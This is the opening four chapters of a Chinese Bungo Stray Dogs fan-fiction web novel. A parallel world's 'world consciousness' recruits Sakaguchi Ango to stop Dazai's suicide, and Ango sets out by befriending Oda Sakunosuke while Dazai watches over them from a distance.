《安吾今天救下挚友了吗》 第1章 第 1 章 异能特务科的办公室里安静而忙乱,职员们即使说话走路声音也是轻轻的,时不时有西装革履的人快步走进来,把手里的文件轻轻放到房间最中央的桌子上然后又快速离开。 没过多久那办公桌上的公文资料便堆成了一座小山,而这个桌子的主人——异能特务科的参事官辅佐坂口安吾对于眼前的一切早就习以为常,他手上劈里啪啦地不停在键盘上敲着些什么,时不时拿起一份文件快速浏览后签上自己的名字。 这是再普通不过的一天,无论是那些下属们还是坂口安吾本人都是这样认为的,哪怕他们已经整整五天没有回家了,但是那又如何呢? 该解决的危机已经解决,图谋不轨的家伙都已经去见了阎王,如今的横滨是多么和平啊,只不过些许扫尾工作根本—— “诶?坂,坂口前辈?”忽然一个下属失声的呼喊响彻整个安静的办公室,所有人下意识寻声去看,这才发现刚才还顶着个黑眼圈劈里啪啦写公文的参事官辅佐本人不知何时就不见了踪影。 怎么可能?五秒钟之前他还好端端坐在这里啊!如今眠眠打破刚喝了一口,桌子上签字写了一半,人居然就这么凭空消失了? “坂口前辈?” “不好了,大事件啊!有敌袭!” “参事官辅佐被不明异能者绑架了!快上报种田长官!” 而引起这场骚乱的坂口安吾本人此时正一脸生无可恋的表情坐在一片纯白的空间里,在用尽异能力和侦查术等所有能想到的调查方法之后,依然对于这个纯白空间束手无策的苦逼社畜无奈叹一口气: “请您尽快把我放回去吧。时间再长一点我的失踪会被上报内务省的,到时候我不止会凭空多出一堆的说明报告要写,光是解释我失踪的理由就足够令人头痛了……” “非常抱歉,我也实在是被逼无奈才穿越到这里找上你的!”纯白空间里有一道慌乱的机械音都快要哭出来了: “我也知道这很突然,但是我不会让你打白工的!你想要什么我都会努力帮你实现的,求你去拯救一下我们那边的世界吧,有几十亿的人还有数之不尽的动植物马上很快就要……” “非常抱歉打断您一下,这种拯救世界的工作不是应该找上一些身怀绝技的热血高中生吗?为什么会来找上我?”坂口安吾食指推一推鼻梁上下滑的眼镜,镜片后的翠绿色瞳孔透出几分锐利: “有这个和我纠缠的功夫,您去求一求中岛君或许他早就答应下来了,让您不惜舍近求远非要挑中我的理由是……?” “因为……他是主角之一……” “主角?”坂口安吾眉头微皱。 “是的,因为他在我的世界是有戏份的主要角色,我没办法再抓一个他过去,有两个一样的人世界逻辑线会混乱的。”电子音低低地叹一口气,听起来似乎十分委屈。 于是接下来的十分钟时间里,这道电子音开始给坂口安吾肆无忌惮地科普了大量足以颠覆他世界观的内容。 这道委屈兮兮的电子音其实是某个平行世界的世界意识,通过“书”的连接特意跑到主世界来求救。 “在那个平行世界里,书被一个叫太宰治的人捡到了。” 坂口安吾眉头微动,打算回绝的话语到底还是被他暂时咽了回去。 “那个人是一个反异能者,他通过书获得了所有平行世界自己的记忆,然后可能是受了太大的刺激吧,没过几年他就跳楼自鲨了,在那之后……” “请稍等一下,太宰君自杀了?还是跳楼?”坂口安吾打断了对方啰嗦个没完的话:“原因是什么?” 坂口安吾认识的太宰君虽然也天天喊着要自杀,但他其实并不是一个受了些刺激就非要去死的人。 “其实我不太能明白你们人类的情感和想法啦,不过据前几任攻略者的说法,他是为了救一个叫做织田作之助的人。” 坂口安吾:…… 低着头默然片刻,他又一次打断了那个世界意识毫无重点的絮絮叨叨:“他的自杀和救织田作先生之间的联系是什么?请您把这件事完整的前因后果统统告诉我。” 世界意识有点疑惑:“这件事儿很重要吗?我还想把书流落在外之后的战争史给你讲一下的。” “对,这件事很重要。”坂口安吾一脸郑重地点点头:“从逻辑上来讲,如果太宰君不死的话后面的事情也就不会发生了。” “嗯……好吧,你说的有道理,但是我觉得这件事有一点儿,不,是非常困难。”那道电子音犹豫着发出提醒:“之前我找来的很多攻略者都试图救那个人的,但是都失败了。不过如果你非要知道的话……那好吧。” 最后那道电子音还是妥协了,于是纯白的空间里出现了一道大屏幕,开始为坂口安吾播放平行世界太宰治的故事。 屏幕里,太宰治在被织田作之助捡回去之后放弃交流又故意被对方讨厌,最后装作一个陌生人给织田作之助指了去武装侦探社的路,自己却转身离开深藏功与名。 坂口安吾不自觉皱紧眉头。 大屏幕里,太宰在lupin酒吧里跟完全陌生地织田作之助说平行世界的故事,却在忍不住倾诉的时候被对方拿枪指着“不要叫我织田作!我没有理由被敌人这么叫!” 坂口安吾忍不住露出痛苦面具。 大屏幕里,太宰治交代完后事之后从□□大楼上一跃而下,临死前喃喃自语:“可惜没看到织田作的小说……” 坂口安吾:…… 大屏幕消失了,纯白的空间里空无一物,坂口安吾摘下眼镜,一边捏着鼻梁一边轻轻叹一口气。 “你……你怎么了?”电子音听上去有点担心:“你累了吗?” “唉,我头疼。”坂口安吾看上去真的很疲惫,捏鼻梁的手开始按压自己的眉间,似乎那里真的非常疼痛似的:“我想拿起一柄锤子狠狠击打太宰君的后脑勺,这种感觉我已经很久都没有过了。” “啊?那,那听起来还真的挺严重的……”电子音的声音也弱下去,似乎是怕这个态度稍有软化的救世主就此放弃,它又赶紧安慰道: “你别灰心,事实上我前面的几任宿主对上太宰治也都非常头疼,你并不是唯一一个。虽然他们最后还是失败了吧……但是我觉得你还是有很大希望能赢的!别放弃……” “这边的世界要怎么办?”坂口安吾揉着眉头开口问道。 “啊?”那道电子音似乎根本没反应过来。 “我说,我去太宰君的世界了,这边会怎么样?我会一直失踪下去吗?” “啊?你答应我了?”那道电子音大喜过望:“不,不会的!我可以调整两个世界的时间流速,无论你在那边待多久,这边的世界只会过去三天!” “也就是说,之后我还要绞尽脑汁跟上面解释我失踪三天的原因吗?真是的,能不能稍微放过我这个六天没睡觉的可怜人……” 坂口安吾低声抱怨着又重新戴上了眼镜,翠绿色的眼眸依旧锐利而清明,一扫之前的疲惫姿态,他重新打起精神看向虚空中声音传来的方向: “我在新世界的身份是什么?有什么注意事项吗?请您趁现在先交代清楚吧。” “啊?好,好的!你在那里的身份还和这里一样,毕竟是平行世界嘛,有相似之处也很合理。”似乎生怕坂口安吾反悔,那个电子音立刻就开始交代起来: “对了,你的行为也没有什么限制哦,因为你是没有戏份的路人,所以从世界线的逻辑上来看做什么都无关紧要呢! 不过请注意不要被太宰治干掉了,之前有好几个攻略者都是这么死的,重置世界线还挺麻烦的,我没有太多能量……” “路人……吗……” 坂口安吾轻叹一口气站起来,重新整理了自己身上凌乱的西装褶皱,食指推一推下滑的眼镜,眨眼间便又是那个冷静果决的参事官了: “行,路人就路人。世界意识先生,我们这就出发吧!” “哦,好的!请宿主做好准备!”电子音的声音终于快乐起来,纯白空间的上方开始出现闪烁的倒计时,在最后几秒等待的时间里,世界意识终于犹豫着问出了自己的疑问: “那个……你之前不是还非常抵触吗?而且太宰治还这么让人头疼,你为什么又忽然答应下来了?” 坂口安吾依然身姿笔挺,声音也一如既往的平淡而冷静:“头疼也没办法,再怎么样总不能放着太宰君不管吧?” 为什么不能放着不管?你刚才不还对拯救世界毫无兴趣吗? 世界意识还欲再问,忽然前方一道强烈的吸力袭来,坂口安吾感觉自己眼前光芒刺眼,他下意识闭上眼睛,等到再睁眼的时候,自己便又坐在熟悉的办公室里了。 作者有话说 显示所有文的作话 第1章 第 1 章 第2章 第 2 章 办公室还是那个办公室,甚至连桌子上的文件都一如既往的堆成山,周围只有劈里啪啦的打字和偶尔的低声交谈声,坂口安吾有那么一瞬间还以为刚才的一切都只是自己累到极致之后产生的幻想。 不……看来刚才的一切果然是真实发生的啊……他低头快速浏览了一遍手里的情报和资料。 日期是几年之前,自己本应成功的卧底之行在一开始就直接被识破打了回来,mimic事件已经妥善解决,和种田长官谈判的正是已经成为□□首领的太宰君。 织田作先生则已经在武装侦探社干了好几年,目前还没有把芥川君捡回去,看来如今这个时间点太宰君的“五步跳楼计划”刚刚实行了第一步,距离正戏开场还有充足的时间。 “那么宿主,你打算怎么做呢?”世界意识跃跃欲试的声音在坂口安吾的脑海里响起:“这个时间点还比较早,做什么应该都来得及吧?要去找太宰治吗?还是去武装侦探社看看? 对了,我这里还有太宰治的详细计划梳理,你要看吗?” 怎么做? 坂口安吾看着自己面前堆积如山的文件,默不作声拿起来一份低头开始阅读,同时在心里回应:“当然是先完成工作,放着这么多活儿不干您要去哪里?未来一周不想下班了吗?” 世界意识:…… 世界都要完犊子了你还这么有自觉,社畜这种生物还真是令我敬佩。 十分讽刺的是□□一家独大的世界里横滨反而太平了不少,工作量锐减的坂口安吾十分幸运地得以在五点准时下班,在提着公文包神色如常地返回自己的一个安全屋之后,他先是用堕落论确认了一下居所并无异常,然后才松一口气换上居家的衣服坐在沙发上不动了。 “宿主?宿主你怎么了?”世界意识看他半天没反应忍不住好奇询问。 “没什么,只是好久没有踩着夕阳下班我有点不习惯而已。”坂口安吾回过神来干脆在沙发上躺下,闭着眼睛开始专心思考: “不过刚才只是完成了我的第一份工作而已,接下来才是身为救世主的工作,我在思考救太宰君的办法。” 一提到这个,世界意识终于支楞了起来:“原来你还记得这件事啊?那我们就赶紧商量一下吧!对了,我先给你传几份之前攻略者的记忆和太宰治计划的详细梳理,你看过之后……” “非常感谢您,但是不用了,世界意识先生。”坂口安吾非常有礼貌地回绝了世界意识地帮助:“我大概能猜到他们是怎么失败的。 无非是仗着自己预知的未来想要赶在太宰君行动之前做些什么吧,也许刚开始的确成功了几次,然后很快就被太宰君反过来除掉了。” 世界意识大受震撼:“你是怎么知道的?” “因为能预知未来的人大多傲慢。”坂口安吾抬起右手食指关节轻轻敲着自己的眉心,这是他专心思考时下意识的小动作: “他们看到的未来给了他们一种虚妄的自信——即太宰君的计划他们已经了如指掌,只要卡在关键的节点比他先行一步,自然就可以获得他们预想当中的结局。 但这其实只是一种错觉。因为太宰君并不是一个依照固定程序运行的机器,他是一个活生生的人,而且头脑相当聪明。我们看到的未来只是他的plan A而已,如果不行他还有plan B,plan C…… 总之,他头脑里的备用计划写出来可能一个图书馆都塞不下,妄图通过改变几个节点就破坏一整个计划是不可能的,只要他认定的事情,无论如何最后就一定要达到,中间挡路的都是他的敌人,哪怕你的初衷可能是好的。” 而作为太宰治的敌人,最可怕的事就是成为他的敌人本身。① 世界意识被坂口安吾的一席话说得一愣一愣的,回想起前几位攻略者五花八门的失败原因,它恍然大悟: “原来如此,难怪我们循环往复地改变了那么多事情,最后事态的发展还是会朝着预定的轨道稳步推进,现在想来可能是太宰治的plan BCD在发力了吧…… 那我们现在怎么办?也跟着制定更多的备用计划吗?” 提到这个问题,坂口安吾轻点着额头的食指一顿,然后果断摇摇头:“不行,这样就正中了太宰君的圈套。 他最擅长的就是把敌人拽进自己的“思维竞赛”之中,试图和他对招的人最后无一例外都会迷失在无限反复的计谋迷宫里走不出来,如果没有陀思那种程度的城府还是不要轻易尝试了,反正最后结果都是一样的,那就是他会赢。” “啊?这也不行那也不行,这不是输定了吗?”这下就连世界意识都开始感到头痛了:“那你说要怎么办?” 怎么办啊……太宰君,果然无论在哪个世界你都一样的让我烦恼…… 坂口安吾闭上眼睛沉思良久,从夕阳西下一直躺到夜深人静都没再有动作,直到世界意识以为他已经不知不觉陷入梦乡了,他忽然睁开眼睛猛地坐起来:“不行,我们不能被他牵着鼻子走。” “啊?你说什么?”世界意识被他忽如其来的一句话说懵了:“什么意思?” “我是说,我们不能跟着太宰君的思维走,在他的棋盘里下棋我们无论如何都是赢不了的。” 坂口安吾站起来径直走进卧室,借着窗外的月色坐到床边的书桌上,轻轻拧亮桌上的台灯,借着鹅黄色的灯光他抽出纸笔一边解释一边埋头开始书写: “所以想要达到我们的目的,最好的办法就是另设一盘棋局,让太宰君把注意力都放在他的五步跳楼计划上去吧,我们绕开他的计划书制定自己的方案就可以了。” “听起来似乎很有道理的样子……”世界意识听得云里雾里:“可是又要绕开太宰治的计划又要阻止他自杀什么的……具体是什么样的计划呢?” 坂口安吾没急着动笔,而是又问了一遍世界意识那个问题:“太宰君为什么会跳楼自杀?” “不是说了吗?是为了救织田作之助……” “不对。”坂口安吾直接否决了世界意识的说法:“太宰君如果遇到他在意的人,是会想方设法和对方一起努力活下去的。② 他之所以在之前的时间线里采取种种消极的行为,最根本的原因是他自己不想活了。” “这……这个问题很重要吗?二者有什么区别?” “当然有区别。因为救织田作先生和让太宰君活下去这两件事其实并不矛盾。只要太宰君自己想活着,以他的本事完全可以和织田作先生两个人一起活得很好。 相反,如果他自己不想活了,就算织田作先生被救下来了他还是会去寻死。” 说到这里,坂口安吾抬手推一推下滑的眼镜,提笔在a4纸上写出一行标题:激活太宰君生存意志的五步计划。 “所以,我认为和太宰君在他制定的计划里打转根本毫无意义,我们的目标应该是这个。” “听起来似乎很有道理,那你打算怎么做?” 坂口安吾没有立刻回答,而是埋头又在纸上写下第一点: 一,想办法联系上织田作先生并获取他的帮助。 “解铃还须系铃人。”坂口安吾看着白纸上“织田作”的名字轻叹一口气:“我这个路人A的劝解恐怕毫无作用,总之,先和织田作先生联系上看看能不能帮忙吧。” 看到这个计划,世界意识终于还是忍不住开口:“容我提醒你一句,太宰治看织田作之助看得很紧的,之前凡是有攻略者敢去打扰那人的生活都会被他……” “嗯,我能想象得到,那些人的结局应该都不会太好。”坂口安吾苦笑一声:“我的心情和太宰君是一样的……” 他抬头看向窗外皎洁的明月,喃喃自语:“但是织田作先生,你也一定不会放着那样的太宰君不管的,对不对?” 世界意识不知道他在说什么,只是又提醒了一遍:“会死的,而且你会死的很惨。” “死就死吧,如果太宰君真的想动手的话。”坂口安吾轻轻呼出一口气:“反正都是我欠他的债。” 虽然坂口安吾还是一意孤行决定冒着被太宰干掉的风险去接触织田作之助,但是他也并没有贸然地冲过去就非要和人家做朋友。毕竟那样子一看就有猫腻,但凡是个正常人就不可能搭理他。 毕竟异能特务科和武装侦探社之间的业务往来多的是,在他的计划里,应该是他先借着发布委托和协助调查之类的由头先在织田作先生面前混个脸熟,然后再找个机会或者故意制造个巧合让两个人能多聊几句…… 总之,这应该是一个耗时很长的工程,可能要花个两三个月的时间两个人才能成为下班一起喝喝酒聊聊天的普通朋友。 谁知道还没等坂口安吾主动行动起来,某天中午他汇报完工作一推开门,猝不及防就看到一个熟悉的高大身影出现在他眼前。 熟悉的短款沙色风衣,熟悉的红色头发,熟悉的带着点胡茬的下巴,手里捧着一个本子正站在他的办公桌前认真地阅读着。 坂口安吾发晕的脑子努力地回想了一下,那个熟悉的封面……似乎是自己做的无辜死难者记录。 因为这种费力不讨好的记录不止是黑手党的首领不喜欢看,在异能特务科的上层领导那里也同样不受待见,所以堆成一摞的厚重笔记总也送不出去,时常堆在坂口安吾办公桌的角落落灰。 织田作之助手里的那本是最新纪录的,写了一半的内容摊开在办公桌的一角,不知道织田作之助是来干什么的,总之那个东西似乎成功地吸引了他的注意力。 ①节选自原著《黑之时代》 ②出自三次安吾的《太宰治情死考》 作者有话说 显示所有文的作话 第2章 第 2 章 第3章 第 3 章 织田作之助,武装侦探社里一个非常神奇的男人,虽然他的武力值非常高,虽然他总是板着一张脸处变不惊,虽然他曾经一人就是一个杀手组织,但其实他的梦想是能成为一个小说家。 如今加入武装侦探社已有几年,就连孤儿也差不多养了一个足球队的数量,每天都在横滨行侠仗义见义勇为,在经过咖喱店老板以及同事们的一致肯定之后,织田作之助猛然惊觉: 啊,原来我如今也算是一个好人了,那是不是有资格动笔写小说了呢? 于是织田作之助开始尝试写小说。 他怀着憧憬的心情买来了纸笔,在一个平凡的夜晚坐在榻榻米上动笔了,他希望自己能写出一些有趣的故事,然后终有一天能写出那本书里杀手的结局…… 然后就这样埋头写了几千字之后,他就发现了一个十分严重的问题: 他卡文了。 这倒不是说他没有写作思路,事实上各种各样的奇思妙想和创作灵感还在他的脑海里不停碰撞,但是毕竟写作不同于他之前接触到的任何一个领域,即使是顶级天赋的杀手也不得不承认在这条文学道路上他还是一个初出茅庐都算不上的纯新手。 他遇到了一个新手作家大多都会遇到的问题:要如何把脑子里的想法一步一步地变成令他满意的文字呢? 或者说织田作之助纠结的点还要更加具体:要如何才能通过文字把他脑海里的人物准确地,生动地塑造出来,进而写出那种他曾经感受到的,令人震撼的力量? 对于这个问题,织田作之助周围没有人能给他答案,毕竟大家是侦探又不是作家,他这个问题恐怕只有夏目溯石本人才有能力给他一些指点。 但是现在夏目溯石本人,不是,本猫还在秘书小姐家骗吃骗喝呢,所以他这个问题自然也就注定得不到答案。 甚至侦探社的大家还曾经劝过他:你这个问题已经深奥到只有真正的文豪才能给出答案了吧?作为一个新手作家纠结这个是不是太早了点?要不你先写出来一篇试试呢? 但是织田作之助不愿意将就,写作这件事对于他来说是有着特别的意义的,他不愿意随便写出一些毫无意义的垃圾文章来敷衍了事,既然动笔了他就一定要写出令自己满意的作品。 于是嘛……几个月过去了,新手作家织田作之助就一直在咕咕咕咕咕咕咕。 这个鸽子精咕到后来就连侦探社的大家都开始忘记这件事了,忽然有一天那位能洞悉一切的名侦探笑眯眯地递给他一份文件: “织田,这份文件要送去异能特务科存档,你去吧,说不定这次你会有一些新收获哦~” 虽然不太明白去一趟异能特务科能有什么收获,不过名侦探乱步先生的话从不会出错,所以织田作之助痛快地接下了这个任务,当天下午就直奔异能特务科而去了。 负责接洽的工作人员似乎恰好有事离开了片刻,于是织田作之助便拿着手里的文件在他的办公室里等待,本来他只是随意地瞥了一眼整齐宽敞的办公桌,但是角落里的一本笔记却立刻吸引了他的注意力。 “昨日于横滨港附近帮派与警方发生冲突,警方死亡三人,尾上久雄,外町元司,长花美由。 尾上久雄父母皆为横滨刑警,因一场走私案得罪山口组遭到报复身亡,尾上还有一幼妹,同样在上述报复事件中不知所踪。尾上久雄加入刑警队是为复仇还是寻亲如今已不可知。 冲突发生时他为保护一路过女童以身挡枪,身中六枪失血过多而亡,仅剩一全家福相片作为遗物,如今已葬于警察公墓之中。 …… 非常客观简练的语言,短短几笔已经勾勒出一个普通人令人悲叹的一生,后面还有外町元司和长花美由的人生记录,甚至帮派的死亡人员也有,明明是那么冷静到近乎不近人情的文笔,读下来却莫名让人感到难过。 织田作之助一个人一个人地认真翻阅过去,身后门开了也没察觉,直到这半本笔记全都看了一遍他才猛然回神,发现身后有一个戴着眼镜的文静青年默默地站在他身后,也不知道已经等了他多久的时间。 “抱歉,擅自翻越了你的记录。”织田作之助放下笔记把手里的文件递过去:“我是武装侦探社的织田作之助,来送这份文件给你们存档的。” “没关系,您不必在意。”对面的文静青年并没有责怪他的失礼,伸手接过了他递过来的文件,抬手推一推下滑的眼镜,看过来的目光有一点织田作之助读不懂的复杂情绪: “反正也不是什么需要保密的东西,它们已经无人问津很久了。” “我觉得这是很有力量的文字。”织田作之助一脸认真地强调道:“它们的存在是有意义的,可以让人从这里汲取到一些东西。” “多谢您的赞赏,织……织田先生。”对面带着圆框眼镜的青年也抬手轻轻抚摸了一下这些堆成一摞的笔记,低头的时候因为眼镜的反光织田作之助看不清他的神情: “有力量的并不是我的文字,而是他们的生命。我的记录不过是一个媒介,如果您从中获得了一些东西,那一定是他们的生命传递给您的。” 文字只是一种媒介,真正有力量的是人们的生命。 那位先生也曾经说过,写书就是写人。 困扰已久的织田作之助在这一刻感觉自己豁然开朗。 “非常感谢你,请问你的名字是?”送完文件之后他也并没有离开,反而主动问起了对面青年的名字。 虽然织田作之助依然是一张看不出什么表情的淡定脸,但是熟悉他的坂口安吾能看出来他其实相当开心。 “我是坂口安吾,异能特务科的参事官辅佐。”犹豫了片刻,坂口安吾还是忍不住询问:“请问您为什么要感谢我?” “因为你帮我解答了一个困扰我很久的问题。”织田作之助主动对坂口安吾伸出手:“为了感谢你,今天晚上下班我想请你喝酒,你有时间吗?安吾。” 坂口安吾:…… 进展这么快的吗?这和我预想中的不太一样。 怀着一些开心高兴又担忧悲伤的复杂心情,坂口安吾回握住织田作之助的手:“荣幸之至,织田先生。我晚上五点准时下班,到时候我去找您?” □□顶层的首领办公室,一片漆黑里只有办公桌的位置点了一盏台灯,一个消瘦的身影安静地伏案工作了许久,终于,他直起身体伸了个懒腰舒展自己早就僵硬不已的腰背,轻舒一口气靠在座椅上默默出神了片刻。 这并不代表他今天的工作已经告一段落了,事实上在今天的计划里他也只给自己留了这一个小时的休息时间。 理智告诉太宰治他应该趁现在赶紧去后面的休息室小睡一觉,但是他实在是太累了,就连从椅子到床这几步路的距离他也懒得去走。 算了,要不就在这将就着眯一会得了。太宰治无所谓地做好了决定,然后从桌子最下层的抽屉里拿出来一个手机,打算看一下织田作最近生活得怎么样了。 当然,他并不是那种在织田作身边放满监控和窃听器的变态跟踪狂,更何况有乱步先生在他也做不到那种程度,他只是安排了人手远远地注意着织田作的动向而已,万一有不长眼的家伙去打扰他平静的生活,太宰治就会在暗中把对方处理掉。 毕竟其他世界的织田作都死了啊,自己这里的可是仅存的独苗苗,听说前段时间都有打算写小说了,我看紧一点也无可厚非吧…… 这么想着的太宰治打开了手机邮件,然后迎面就接到了一条劲爆的消息:织田作最近交了个新朋友,并且两个人相聊甚欢。 嘁,有什么了不起,我和织田作才是更加要好的朋友,那个家伙在织田作心里的地位肯定还不如安吾…… 太宰治在心里酸溜溜地想着,你这个家伙最好没有什么别的坏心思,要不然今天晚上我就把你灌进横滨港桥下的水泥柱子里去! 心里很不是滋味的太宰治点开下属发过来的邮件,相片里,织田作之助和一个圆眼镜的斯文青年坐在一家小酒馆靠门口的位置,他们面前摆着一瓶日本烧酒还有两个小酒杯,夕阳的余晖给照片染出一种柔和的质感,他们两人的脸上是太宰治从未见过的开心和放松。 那种惬意的神情,他只透过其他太宰治的记忆里见过。 太宰治:…… 啊,织田作和安吾变成好朋友了…… 好吧,这也非常合理,毕竟武装侦探社和异能特务科也有很多合作,说不定什么时候碰上了就会发现彼此很聊得来。 这不是挺好的吗?如果是安吾的话,我就不用担心对方图谋不轨了,而且他们两个还能在一起喝酒聊天,就这样一辈子都要好下去……就算没有我也…… 港口黑手党还是不要再出现在他们的生命之中了。太宰治不自觉抓紧手里的手机。 时间一分一秒的过去,台灯的光线下那个消瘦的身影就抓着手机保持着一个僵硬的姿势一动不动地坐了很久,直到闹铃响起太宰治才猛然惊觉,原来不知不觉一个小时的时间已经过去了。 “真是的,为什么安吾那个社畜都能准点下班,我却还要在这里面对没完没了的工作啊……” 他们两个人出去喝酒也不带我…… 黑暗里响起一声带着哽咽的叹息,太宰治最后看了一眼手机屏幕里的照片,犹豫片刻到底还是把照片保存下来,然后再次打开笔记本电脑,专心投入到工作中去了。 作者有话说 显示所有文的作话 第3章 第 3 章 第4章 第 4 章 虽然在外人看起来很不可思议,但是坂口安吾和织田作之助的确非常聊得来。 他们常常在下班之后约在一家武装侦探社附近的小酒馆里,就着一杯酒说一些工作和生活中的平常之事,哪怕是一些类似于“辣咖喱的最佳吃法”这样无聊的问题也可以聊上几个小时,然后在深夜时分再恋恋不舍地告别离开。 有知心朋友的岁月总是十分快乐的,不知不觉半个月时间过去,坂口安吾已经和织田作之助成为了非常亲近的好朋友。 而且他时至今日也依然活得好好的,让世界意识看得大跌眼镜。 “太不可思议了,真的太不可思议了!太宰治居然放过你了?任凭你靠近织田作之助然后他居然什么都没做?”世界意识的电子音颤抖着感叹: “前几个想靠近他的攻略者就没有一个活过三天的,还有一个当天晚上就被他丢到海里喂鱼去了!他为什么会放过你?你有什么经验分享吗?” 面对世界意识这样快要惊掉下巴的表现,坂口安吾的神色变得有一点复杂:“您……在抓我过来之前不知道我是谁吗?” 其实他想问的是你都是世界意识了,我和太宰君还有织田作先生的那些事儿你不知道? 世界意识的语气非常茫然:“不知道啊,就是你看起来很厉害很能干的样子,再加上在我的世界你也不存在,所以我就把你抓过来帮忙啦,怎么了?” “不……没什么,请不要在意。”坂口安吾犹豫了一下,最后还是转移了话题:“这个世界的我并不存在?这是什么意思?那我离开之后这个世界会怎么样?” “就是字面上的意思啦,每个人都有可能在其他平行世界不存在的啦,是我修改了本世界的一些现实和认知规则才把你带过来的,直接套用了你之前世界的身份和条件。”世界意识果然轻而易举地被转移了注意力: “不过现在你在这个世界真实存在啦,离开的时候可能要采用死遁之类的方法才比较合理。” 坂口安吾:…… 这么重要的事情你倒是早点说啊世界意识先生! 早知道我就……也离织田作先生远点了。 可能是坂口安吾沉默了太久的时间,世界意识终于耐不住性子又开始说话:“你怎么了?害怕了吗?只是在这个世界死掉而已,我会好好把你送回原来的世界的!” “不,倒也不是这个问题……算了,您不必在意。”坂口安吾在心里默默叹了口气:“眼下还是太宰君的事情比较重要,如今第一步计划已经提前完成了,我们还是抓紧时间开始第二步计划吧。” 这个世界意识的性子真的非常单纯好骗,它再一次轻而易举地被坂口安吾转移了注意力:“好哦!那么第二步计划是什么呢?” 于是坂口安吾在白纸上写下了计划的第二步: 二,改善太宰君那糟糕的生活习惯和精神状态。 从之前的影片里来看,这个世界太宰君的身体比自己那边的太宰君可差远了,而且无论什么时候都一直在工作,影片里就从来没出现过他休息的镜头,和自己熟悉的那个摸鱼达人比起来简直是判若两宰。 “保持着那种糟糕的身体状态和精神状况,无论多么乐观的人也开心不起来吧?更何况太宰君还是那样闹腾的性格……”说到这里坂口安吾又想要叹气了: “这样超高强度不眠不休的工作对他来说无异于一种酷刑,总之,先帮他停止这种自我折磨,要不然激活生存意志根本就无从谈起。” “但是,要怎么做呢?” 你真是问到点子上了世界意识先生,我对这件事也同样毫无头绪,坂口安吾在心里开始第不知道多少次的叹气。 总不能拽着织田作先生直接冲到港口mafia去吧? 且不说一个政府公务员和一个侦探社员突然跑到黑手党老大面前这事儿到底有多诡异,就凭太宰君那个别扭鬼一样的性格,他绝对会在接到消息的第一时间掉头跑路。 然后直到他的五步计划完成为止我就再也别想探听到他的一点踪迹了。 可是不见面的话要如何规劝他呢? 已经午夜十二点了,坂口安吾依然躺在床上冥思苦想着办法。 写信? 不不不,以太宰君现在那种应激的状态,织田作先生的任何一点小动作都会给他带来不小的刺激,适得其反就不好了。 那……以身作则?可是织田作先生这两年生活作息还挺健康的,可见这同样没什么用。 唉,这种感觉就好像是想要抓到一只因为受到惊吓所以躲在沙发底下的黑猫一样啊!坂口安吾忍不住在心里暗自吐槽,轻不得重不得的,还要时刻预防猫咪应激,滑不溜手的太难搞了,他一边发愁一边在床上翻了个身。 于是对太宰猫猫总是毫无办法的坂口安吾彻底失眠了,躺在床上睁着眼直到天亮也没想到什么好办法,第二天只好顶着一双黑眼圈跑去上班。 一直挨到一天的工作结束,想着放松下心情的坂口安吾习惯性地来到了和织田作之助常聚的那家酒馆,虽然这里私密性比不上lupin,但是氛围也同样轻松自在,他要了一杯番茄汁慢悠悠地喝着,慢慢地脑袋就开始一点一点地下沉。 真是的,明明以前熬个五六天也没事啊,看来我这些日子还真是太放松了,居然熬一夜就困成这个样子……坂口安吾开始迷迷糊糊地在脑海里反省自己。 就在他马上就要趴到桌子上的时候,忽然身边光线一暗,紧接着是一道刻意压低声音的熟悉声音:“老板,一杯咖啡。” 坂口安吾一个激灵清醒过来,抬头去看坐在旁边的织田作之助:“织田先生,您怎么开始喝咖啡了?” 谁知道不看还好,一看给坂口安吾吓了一跳,织田作之助脸上也挂了一双黑眼圈,他端起杯子轻轻抿了一口放下:“因为回去还要写作。” 看着对方那哪怕是上个世界也没出现过的黑眼圈,坂口安吾犹豫了一下,还是开口询问:“您也失眠了吗?昨天几点睡的?” 织田作之助放下咖啡杯点点头:“一直在构思剧情一晚上没睡着……安吾,你也失眠了?” “对,因为工作上的事在烦恼。”坂口安吾抿了一口番茄汁:“想了一晚上也没什么头绪。” “那还真是巧啊。”织田作之助用没什么起伏的语调感叹道:“我们两个都通宵了。” 呵呵,我觉得可能是我们三个都通宵了。 坂口安吾想到太宰那个阴间作息忍不住偷偷在心里吐槽,正欲再随便聊点什么,忽然他动作一顿,向后撇去的眼神瞬间清明:“织田先生,刚才……” “对,刚才有人在偷拍我们。”织田作之助却并没有回头,似乎对这一切都习以为常了: “他们是一个靠着偷拍敲诈勒索的混混团体,哪怕捣毁了窝点也很快就会卷土重来。不过他们只是在漫无目的地偷拍碰运气而已,这片街区上的人都习惯了,不用理会。” 听了织田作先生的描述,坂口安吾心情非常复杂。 不,织田作先生,我敢用我的眠眠打破打赌,这伙人绝对是太宰君专门弄来监视你的。 为了不让你发现还专门搞出一个偷拍勒索的混混组织什么的……太宰君还真是用心良苦啊。 对此坂口安吾实在是不知道说什么好,只能对织田作先生报以同情的目光。 织田作之助感觉到了,他头上的呆毛疑惑地晃了两下:“怎么了吗?安吾?” “不,没什么。”坂口安吾略带心虚地移开目光,并且选择对这件事视而不见:“只是有点意外还有这样奇怪的混混组织而已。” 唉,织田作先生,太宰君都那样了,你就让让他吧。 事实证明坂口安吾还是同情的太早了,因为自那之后没过多久,他察觉到自己也变成了那伙人的监视目标。 太宰君倒是一如既往的聪明,知道他和织田作先生一样属于极难被监视的类型,所以那伙混混从一开始就没有认真隐藏的意思,他们每天拿着照相机大街小巷的到处拍摄,无论是□□交易还是情人约会都不放过,如今几乎整片地区的人都变得麻木了,坂口安吾被拍到的那几张混在里面毫不显眼,就像走在路上被新闻记者偶然扫到的无辜路人。 如果不是事先知道了事情的原委,恐怕他真的会和织田作先生一样把这件事十分自然地无视掉。 但是他偏偏知道,所以每次被拍到的时候心情就会格外复杂。 世界意识不知道坂口安吾心中那些纷纷扰扰的思绪,它还在担心着一开始的那个问题: “完了完了!宿主,太宰治他是不是终于决定要干掉你了?要不我们先跑路吧?离开横滨先避一避风头?” 坂口安吾:…… “世界意识先生,太宰君在您心里到底是个什么形象啊?” “恶魔!混世魔王!杀人不眨眼的变态杀人狂!” 坂口安吾:…… 总感觉前几个时间线里似乎发生了一些非常糟糕的事情。 为了让总是躁动不安的世界意识先生能冷静下来,坂口安吾只好努力开导它: “放心吧,世界意识先生。太宰君要是想杀我他早就动手了。他做这些事也并没有恶意的,你可以简单地理解为……他在做一个游戏。” 世界意识大受震撼:“都开始偷拍你了,结果居然只是游戏吗?那动真格的什么样?往你身上塞满窃听器?往你身上按炸弹?” 